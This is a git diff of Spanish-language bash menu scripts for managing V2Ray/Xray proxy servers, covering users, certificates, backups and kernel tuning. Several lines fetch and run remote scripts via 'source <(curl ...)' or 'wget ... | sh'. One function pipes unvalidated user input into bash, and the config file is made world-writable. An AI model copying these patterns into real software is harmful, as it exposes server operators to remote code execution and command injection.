+} + +crt_man(){ + while : + do + clear + msg -bar3 + blanco "configuracion de certificado manual" + msg -bar3 + + chek=$(jq '.inbounds[].streamSettings.tlsSettings' $config) + [[ ! $chek = {} ]] && { + crt=$(jq '.inbounds[].streamSettings.tlsSettings.certificates[].certificateFile' $config) + key=$(jq '.inbounds[].streamSettings.tlsSettings.certificates[].keyFile' $config) + dom=$(jq '.inbounds[].domain' $config) + echo -e " \033[4;49minstalado\033[0m" + col2 "crt:" "$crt" + col2 "key:" "$key" + col2 "dominio:" "$dom" + } || { + blanco " certificado no instalado" + } + + msg -bar3 + col "1)" "ingresar nuevo crt" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "opcion" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + clear + msg -bar3 + blanco "ingrese su archivo de certificado\n ej: /root/crt/certif.crt" + msg -bar3 + blanco "crt" 0 + read crts + + clear + msg -bar3 + blanco " nuevo certificado" + msg -bar3 + blanco " $crts" + msg -bar3 + blanco "ingrese su archivo key\n ej: /root/crt/certif.key" + msg -bar3 + blanco "key" 0 + read keys + + clear + msg -bar3 + blanco " nuevo certificado" + msg -bar3 + blanco " $crts" + blanco " $keys" + msg -bar3 + blanco "ingrese su dominio\n ej: netfree.xyz" + msg -bar3 + blanco "dominio" 0 + read domi + + clear + msg -bar3 + blanco "verifique sus datos sean correctos!" + msg -bar3 + blanco " $crts" + blanco " $keys" + blanco " $domi" + msg -bar3 + continuar + read foo + + mv $config $temp + echo "cat $temp | jq '.inbounds[].streamSettings.tlsSettings += {certificates:[{certificateFile:\"$crts\",keyFile:\"$keys\"}]}' | jq '.inbounds[] += {domain:\"$domi\"}' | jq '.inbounds[].streamSettings += {security:\"tls\"}' >> $config" | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "nuevo certificado agregado" + msg -bar3 + restart_v2r + sleep 0.2 + done +} + +instal(){ + clear + install_ini + msg -bar3 + blanco " Esta por intalar v2ray!" + echo "source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/v2ray_manager.url.sh)" > /bin/v2r.sh + chmod +x /bin/v2r.sh + msg -bar3 + blanco " La instalacion puede tener\n alguna fallas!\n por favor observe atentamente\n el log de intalacion,\n este podria contener informacion\n sobre algunos errores!\n estos deveras ser corregidos de\n forma manual antes de continual\n usando el script" + msg -bar3 + sleep 0.2 + blanco "Enter para continuar..." + read foo + config='/etc/v2ray/config.json' + tmp='/etc/v2ray/temp.json' + source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/v2ray.sh) +echo '[Unit] +Description=V2Ray Service +After=network.target nss-lookup.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE +AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE +NoNewPrivileges=true +ExecStart=/usr/bin/v2ray/v2ray -config /etc/v2ray/config.json +Restart=always +RestartSec=3s + + +[Install] +WantedBy=multi-user.target' > /etc/systemd/system/v2ray.service +systemctl daemon-reload &>/dev/null +systemctl start v2ray &>/dev/null +systemctl enable v2ray &>/dev/null +systemctl restart v2ray.service +clear&&clear + title " INSTALACION DE XRAY MOD MENU " + echo -e " \033[0;31mEsta opcion es aparte, para habilitar XRAY Install" + echo -e " Habilitaremos el modulo XRAY previo al V2RAY ya instalado \033[0m" + echo -e " Accederas al pannel original si es la primera vez !!\n\033[0m" + msg -bar3 + blanco " Deseas instalar el XRAY ? [S/N]" 0 + read opcion + msg -bar3 + case $opcion in + [Ss]|[Yy]) + msg -bar3 + [[ -e /bin/xr.sh ]] && xr.sh || { + xray + echo "source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/xray_manager.sh)" > /bin/xr.sh + chmod +x /bin/xr.sh + clear + msg -bar3 + blanco " Se ha agregado un autoejecutor en el Sector de Inicios Rapidos" + msg -bar3 + blanco " Para Acceder al menu Rapido \n Utilize * xr.sh * !!!" + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi deseas desabilitar esta opcion, apagala" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " ESTE ES UN DUPLICADO V2RAY CON MODULO XRAY" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo + } + ;; + [Nn]) continuar && read foo;; + esac +#restart_v2r +} + +v2ray_tls(){ + clear + msg -bar3 + blanco " certificado tls v2ray" + echo -e "Ingrese Correo Temporal o Fijo \n Para Validar su Cerficicado SSL " + read -p " Ejemplo > email=my@example.com : " -e -i $(date | md5sum | head -c15)@gmail.com crreo + msg -bar3 + wget -O - https://get.acme.sh | sh -s email=$crreo + v2ray tls + msg -bar3 + continuar + read foo +} + +v2ray_stream(){ + clear + msg -bar3 + blanco " PROTOCOLOS V2RAY" + msg -bar3 + v2ray stream + msg -bar3 + continuar + read foo +} + +v2ray_menu(){ + clear + msg -bar3 + blanco " MENU V2RAY" + msg -bar3 + v2ray +} + +backups(){ + while : + do + unset opcion + unset PID + if [[ $(ps x | grep "http-server" | grep -v grep) = "" ]]; then + PID="\033[0;31m[offline]" + else + PID="\033[1;92m[online]" + fi + + clear + title " Config de Respaldos" + col "1)" "Respaldar Ahora" + col "2)" "\033[1;92mRestaurar Respaldo" + col "3)" "\033[0;31mEliminiar Respaldos" + col "4)" "\033[1;34mRespaldo en linea $PID" + col "5)" "\033[1;33mRespaldos automatico $(on_off_res)" + msg -bar3 + + col "6)" "\033[1;33m RESTAURAR Online PORT :81 " + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "opcion" 0 + read opcion + + case $opcion in + 1) autBackup + clear + title " Nuevo Respaldo Creado..." + sleep 0.2;; + 2) restore;; + 3) rm -rf $backdir/*.tar + clear + title " Almacer de Respaldo limpia..." + sleep 0.2;; + 4) server;; + + + 5) if [[ $(cat $v2rdir/conf | grep "autBackup" | cut -d " " -f2) = "0" ]]; then + sed -i 's/autBackup 0/autBackup 1/' $v2rdir/conf + else + sed -i 's/autBackup 1/autBackup 0/' $v2rdir/conf + fi;; + 6) + clear + echo -e "\033[0;33m + ESTA FUNCION EXPERIMENTAL +Una vez que se descarge tu Fichero, Escoje el BackOnline + + + OJO + + + Luego de Restaurarlo, Vuelve Activar el TLS + Para Validar la Configuracion de tu certificao" +msg -bar3 +echo -n "INGRESE LINK Que Mantienes Online en GitHub, o VPS \n" +read -p "Pega tu Link : " url1 +wget -q -O $backdir/BakcOnline.tar $url1 && echo -e "\033[1;31m- \033[1;32mFile Exito!" && restore || echo -e "\033[1;31m- \033[1;31mFile Fallo" && sleep 0.2 + ;; + 0) break;; + *) blanco "opcion incorrecta..." && sleep 0.2;; + esac + done +} + + +restablecer_v2r(){ + clear + title " restablecer ajustes v2ray" + echo -e " \033[0;31mEsto va a restablecer los\n ajustes predeterminados de v2ray" + echo -e " Se perdera ajuste previos,\n incluido los Usuarios\033[0m" + echo -e " LUEGO DE ESTO, DEBERAS RECONFIGURAR TU METODO\n\033[0m" + msg -bar3 + blanco "quiere continuar? [S/N]" 0 + read opcion + msg -bar3 + case $opcion in + [Ss]|[Yy]) + v2ray new && rm -f ${configLOCK} + rm -f /etc/v2r/user + ;; + [Nn]) continuar && read foo;; + esac +} + +remove_all(){ + sed -i '/net.core.default_qdisc/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_congestion_control/d' /etc/sysctl.conf + sed -i '/fs.file-max/d' /etc/sysctl.conf + sed -i '/net.core.rmem_max/d' /etc/sysctl.conf + sed -i '/net.core.wmem_max/d' /etc/sysctl.conf + sed -i '/net.core.rmem_default/d' /etc/sysctl.conf + sed -i '/net.core.wmem_default/d' /etc/sysctl.conf + sed -i '/net.core.netdev_max_backlog/d' /etc/sysctl.conf + sed -i '/net.core.somaxconn/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syncookies/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_reuse/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_recycle/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_fin_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_keepalive_time/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_local_port_range/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_syn_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_tw_buckets/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_rmem/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_wmem/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_mtu_probing/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_forward/d' /etc/sysctl.conf + sed -i '/fs.inotify.max_user_instances/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syncookies/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_fin_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_reuse/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_syn_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_local_port_range/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_tw_buckets/d' /etc/sysctl.conf + sed -i '/net.ipv4.route.gc_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_synack_retries/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syn_retries/d' /etc/sysctl.conf + sed -i '/net.core.somaxconn/d' /etc/sysctl.conf + sed -i '/net.core.netdev_max_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_timestamps/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_orphans/d' /etc/sysctl.conf + clear + echo -e " \033[0;92mLa aceleración está Desinstalada." + sleep 0.1 +} + +bbr(){ + while : + do + clear + title " ACELERACION BBR" + blanco " Esto activara la aceleracion\n por defecto de su kernel.\n no se modoficar nada del sistema." + msg -bar3 + col "1)" "Acivar aceleracion" + col "2)" "quitar toda aceleracion" + msg -bar3 + col "0)" "volver" + msg -bar3 + blanco "opcion" 0 + read opcion + case $opcion in + 1) + remove_all + echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf + echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf + sysctl -p + echo -e " \033[0;92m¡BBR comenzó con éxito!";; + 2)remove_all;; + 0)break;; + *)blanco " seleccione una opcion" && sleep 0.2;; + esac + done +} + +settings(){ + while : + do + clear + msg -bar3 + blanco " Ajustes e instalacion v2ray" + msg -bar3 + col "1)" "CAMBIAR DOMINIO / IP" + col "2)" "CAMBIAR PUERTO " + col "3)" "CAMBIAR AlterId" + col "4)" "CAMBIAR HOST" + col "5)" "CAMBIAR PACH" + msg -bar3 + col "6)" "AÑADIR CRT (script)" + col "7)" "AÑADIR CRT V2RAY NATIVO" + col "8)" "AÑADIR CERTIFICADO MANUAL" + msg -bar3 + col "9)" "CAMBIAR PROTOCOLO V2RAY" + col "10)" "ENTRAR A V2RAY ORIGINAL" + col "11)" "RESTABLECER CONFIGURACION" + msg -bar3 + col "12)" "BBR nativo del sistema" + col "13)" "INSTALL/REINSTALL V2RAY/XRAY" + msg -bar3 + col "14)" "Conf. COPIAS DE SEGURIDAD" + msg -bar3 + #col "15)" "HABILITAR MODULO XRAY ( V2ray )" + #msg -bar3 + col "0)" "REGRESAR" + msg -bar3 + blanco "opcion" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + case $opcion in + 1)address;; + 2)port;; + 3)alterid;; + 4)host;; + 5)path;; + 6)domain_check && clear ;; + 7)v2ray_tls;; + 8)crt_man;; + 9)v2ray_stream;; + 10)v2ray_menu;; + 11)restablecer_v2r;; + 12)bbr;; + 13)install;; + 14)backups;; + 15)_xray;; + *) blanco " solo numeros de 0 a 14" && sleep 0.2;; + esac + done +} + +_xray() { +[[ -e /bin/xr.sh ]] && xr.sh || { +xray +echo "source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/xray_manager.sh)" > /bin/xr.sh +chmod +x /bin/xr.sh + clear + msg -bar3 + blanco " Se ha agregado un autoejecutor en el Sector de Inicios Rapidos" + msg -bar3 + blanco " Para Acceder al menu Rapido \n Utilize * xr.sh * !!!" + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi deseas desabilitar esta opcion, apagala" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " ESTE ES UN DUPLICADO V2RAY CON MODULO XRAY" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo +} +} + +enon(){ +echo "source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/v2ray_manager.url.sh)" > /bin/v2r.sh +chmod +x /bin/v2r.sh + clear + msg -bar3 + blanco " Se ha agregado un autoejecutor en el Sector de Inicios Rapidos" + msg -bar3 + blanco " Para Acceder al menu Rapido \n Utilize * v2r.sh * !!!" + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi deseas desabilitar esta opcion, apagala" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo +} +enoff(){ +rm -f /bin/v2r.sh + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSe ha Desabilitado el menu Rapido de v2r.sh" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo +} + +enttrada () { + + while : + do + clear + msg -bar3 + blanco " Ajustes de Entrada Rapida de Menu v2ray" + msg -bar3 + col "1)" "Habilitar v2r.sh, Como entrada Rapida" + col "2)" "Eliminar v2r.sh, Como entrada Rapida" + msg -bar3 + col "0)" "Volver" + msg -bar3 + blanco "opcion" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + case $opcion in + 1)enon;; + 2)enoff;; + *) blanco " solo numeros de 0 a 2" && sleep 0.1;; + esac + done + +} + +_fix () { +restablecer_v2r +} + +main(){ + [[ ! -e $config ]] && { + clear + msg -bar3 + blanco " No se encontro ningun archovo de configracion v2ray" + msg -bar3 + blanco " No instalo v2ray o esta usando\n una vercion diferente!!!" + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi esta usando una vercion v2ray diferente" + echo -e " y opta por cuntinuar usando este script." + echo -e " Este puede; no funcionar correctamente" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo + instal + systemctl restart v2ray + v2ray_stream + } + while : + do + _usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')") + _usop=$(printf '%-1s' "$(top -bn1 | awk '/Cpu/ { cpu = "" 100 - $8 "%" }; END { print cpu }')") + [[ -e /bin/v2r.sh ]] && enrap="\033[1;92m[ON]" || enrap="\033[0;31m[OFF]" + [[ -e /etc/v2ray/config.json ]] && _v2Reg="$(cat /etc/v2ray/config.json | jq .inbounds[].settings.clients[].email|wc -l)" || _v2Reg=0 + [[ -e /etc/v2ray/config.json.lock ]] && _v2LOCK="$(cat /etc/v2ray/config.json.lock|wc -l)" || _v2LOCK=0 + clear + title2 + title " Ram: \033[1;32m$_usor \033[0;31m<<< \033[1;37mMENU V2RAY \033[0;31m>>> \033[1;37mCPU: \033[1;32m$_usop" + col "1)" "CREAR NUEVO USUARIO" + col "2)" "\033[0;92mRENOVAR USUARIO" + col "3)" "\033[0;31mREMOVER USUARIO" + col "4)" "VER DATOS DE USUARIOS \033[1;32m ( ${_v2Reg} )" + col "5)" "VER USUARIOS CONECTADOS" + col "b)" "LOCK/UNLOCK USUARIO \033[1;32m ( ${_v2LOCK} )" + msg -bar3 + col "6)" "\033[1;33m AJUSTES V2RAY $_v2" + msg -bar3 + col "7)" "\033[1;33mENTRAR CON \033[1;33mv2r.sh $enrap" + msg -bar3 + col "8)" "\033[1;33mFIXEAR V2RAY ( SOLO USUARIOS )" + msg -bar3 + col "0)" "SALIR \033[0;31m|| $(blanco "Respaldos a utomaticos") $(on_off_res)" + msg -bar3 + blanco "opcion" 0 + read opcion + + case $opcion in + 1) add_user;; + 2) renew;; + 3) dell_user;; + 4) view_user;; + 5) usrCONEC ;; + 6) settings;; + 7) enttrada;; + 8) restablecer_v2r;; + b) _lo_un;; + 0) break;; + *) blanco "\n selecione una opcion del 0 al 8" && sleep 0.1;; + esac + done +} + +[[ $1 = "autoDel" ]] && { + chekKEY &> /dev/null 2>&1 + autoDel +} || { + chekKEY &> /dev/null 2>&1 + autoDel + main +} diff --git a/Recursos/xray_manager.sh b/Recursos/xray_manager.sh new file mode 100644 index 0000000..7ee00dd --- /dev/null +++ b/Recursos/xray_manager.sh @@ -0,0 +1,1849 @@ +#!/bin/sh +clear +config="/etc/xray/config.json" +configLOCK="/etc/xray/config.json.lock" +temp="/etc/xray/temp.json" +CGHlog='/var/log/xray/access.log' +v2rdir="/etc/xr" && [[ ! -d $v2rdir ]] && mkdir $v2rdir +user_conf="/etc/xr/user" && [[ ! -e $user_conf ]] && touch $user_conf +backdir="/etc/xr/back" && [[ ! -d ${backdir} ]] && mkdir ${backdir} +tmpdir="$backdir/tmp" +[[ ! -e $v2rdir/conf ]] && echo "autBackup 0" > $v2rdir/conf +if [[ $(cat $v2rdir/conf | grep "autBackup") = "" ]]; then + echo "autBackup 0" >> $v2rdir/conf +fi +_v2=`if netstat -tunlp | grep xray 1> /dev/null 2> /dev/null; then +[[ -e ${config} ]] && echo -e "\033[1;32m[ INST \033[1;31m+ \033[1;32mWORK ] " +else +[[ -e ${config} ]] && echo -e "\033[1;32m[ INST \033[1;31m+ \033[1;33mLOADING \033[1;32m] " || echo -e "\033[1;32m[ \033[1;31mNO INST \033[1;32m] " +fi`; +barra="\033[0;31m=====================================================\033[0m" +#[[ -e /bin/ejecutar/msg ]] && source /bin/ejecutar/msg > /dev/null || source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/msg-bar/msg) > /dev/null +source msg +numero='^[0-9]+$' +hora=$(printf '%(%H:%M:%S)T') +fecha=$(printf '%(%D)T') + +un_bar () { +#==comando a ejecutar== +comando="$1" +#==interfas== +in=' [' +en=' ] ' +full_in="➛" +full_en='100%' +bar=("--------------------" +"=-------------------" +"]=------------------" +"[-]=-----------------" +"=[-]=----------------" +"-=[-]=---------------" +"--=[-]=--------------" +"---=[-]=-------------" +"----=[-]=------------" +"-----=[-]=-----------" +"------=[-]=----------" +"-------=[-]=---------" +"--------=[-]=--------" +"---------=[-]=-------" +"----------=[-]=------" +"-----------=[-]=-----" +"------------=[-]=----" +"-------------=[-]=---" +"--------------=[-]=--" +"---------------=[-]=-" +"----------------=[-]=" +"-----------------=[-]" +"------------------=[" +"-------------------=" +"------------------=[" +"-----------------=[-]" +"----------------=[-]=" +"---------------=[-]=-" +"--------------=[-]=--" +"-------------=[-]=---" +"------------=[-]=----" +"-----------=[-]=-----" +"----------=[-]=------" +"---------=[-]=-------" +"--------=[-]=--------" +"-------=[-]=---------" +"------=[-]=----------" +"-----=[-]=-----------" +"----=[-]=------------" +"---=[-]=-------------" +"--=[-]=--------------" +"-=[-]=---------------" +"=[-]=----------------" +"[-]=-----------------" +"]=------------------" +"=-------------------" +"--------------------"); +#==color== +in="\033[1;33m$in\033[0m" +en="\033[1;33m$en\033[0m" +full_in="\033[1;31m$full_in" +full_en="\033[1;32m$full_en\033[0m" + + _=$( +$comando > /dev/null 2>&1 +) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do + for i in "${bar[@]}"; do + echo -ne "\r $in" + echo -ne "ESPERE $en $in \033[1;31m$i" + echo -ne " $en" + sleep 0.2 + done +done +echo -e " $full_in $full_en" +sleep 0.2s +} + + + +usrCONEC() { +[[ $log0 -le 1 ]] && xray clean &> /dev/null && let log0++ && clear +msg -bar3 +echo -e "" +echo -e " ESPERANDO A LA VERIFICACION DE IPS Y USUARIOS " +echo -e " ESPERE UN MOMENTO PORFAVOR $log0" +echo -e "" +msg -bar3 +fun_bar +msg -bar3 +sleep 5s +clear&&clear +title2 +msg -bar3 +users="$(cat $config | jq -r .inbounds[].settings.clients[].email)" +IP_tconex=$(netstat -nap | grep "$xrayports" | grep xray | grep ESTABLISHED | awk {'print $5'} | awk -F ":" '{print $1}' | sort | uniq) +n=1 +[[ -z $IP_tconex ]] && echo -e " NO HAY USUARIOS CONECTADOS!" +for i in $IP_tconex +do + USERauth=$(cat ${CGHlog} | grep $i | grep accepted |awk '{print $7}'| sort | uniq) + Users+="$USERauth\n" +done +echo -e " N) USER - CONEXIONES "|column -t -s '-' +for U in $users + do + CConT=$(echo -e "$Users" | grep $U |wc -l) + [[ $CConT = 0 ]] && continue + UConc+=" $n) $U -$CConT\n" + let n++ +done +echo -e "$UConc"|column -t -s '-' +msg -bar3 +continuar +read foo +} + +install_ini () { +add-apt-repository universe +apt update -y; apt upgrade -y +clear +msg -bar3 +echo -e "\033[92m -- INSTALANDO PAQUETES NECESARIOS -- " +msg -bar3 +#bc +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] || apt-get install bc -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install bc................... $ESTATUS " +#uuidgen +[[ $(dpkg --get-selections|grep -w "uuid-runtime"|head -1) ]] || sudo apt-get install uuid-runtime -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "uuid-runtime"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "uuid-runtime"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install uuid-runtime......... $ESTATUS " +#python +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || apt-get install python -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python-pip........... $ESTATUS " +#pip +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || apt-get install python-pip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python-pip"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install python-pip........... $ESTATUS " +#python3 +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || apt-get install python3 -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null +echo -e "\033[97m # apt-get install python3.............. $ESTATUS " +#python3-pip +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || apt-get install python3-pip -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] && ESTATUS=`echo -e "\e[3;32mINSTALADO\e[0m"` &>/dev/null +echo -e "\033[97m # apt-get install python3-pip.......... $ESTATUS " +#QRENCODE +[[ $(dpkg --get-selections|grep -w "qrencode"|head -1) ]] || apt-get install qrencode -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "qrencode"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "qrencode"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install qrencode............. $ESTATUS " +#jq +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || apt-get install jq -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install jq................... $ESTATUS " +#curl +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || apt-get install curl -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install curl................. $ESTATUS " +#npm +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || apt-get install npm -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install npm.................. $ESTATUS " +#nodejs +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || apt-get install nodejs -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install nodejs............... $ESTATUS " +#socat +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || apt-get install socat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install socat................ $ESTATUS " +#netcat +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || apt-get install netcat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install netcat............... $ESTATUS " +#netcat-traditional +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] || apt-get install netcat-traditional -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat-traditional"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install netcat-traditional... $ESTATUS " +#net-tools +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || apt-get net-tools -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install net-tools............ $ESTATUS " +#cowsay +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || apt-get install cowsay -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install cowsay............... $ESTATUS " +#figlet +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || apt-get install figlet -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install figlet............... $ESTATUS " +#lolcat +apt-get install lolcat -y &>/dev/null +sudo gem install lolcat &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install lolcat............... $ESTATUS " + 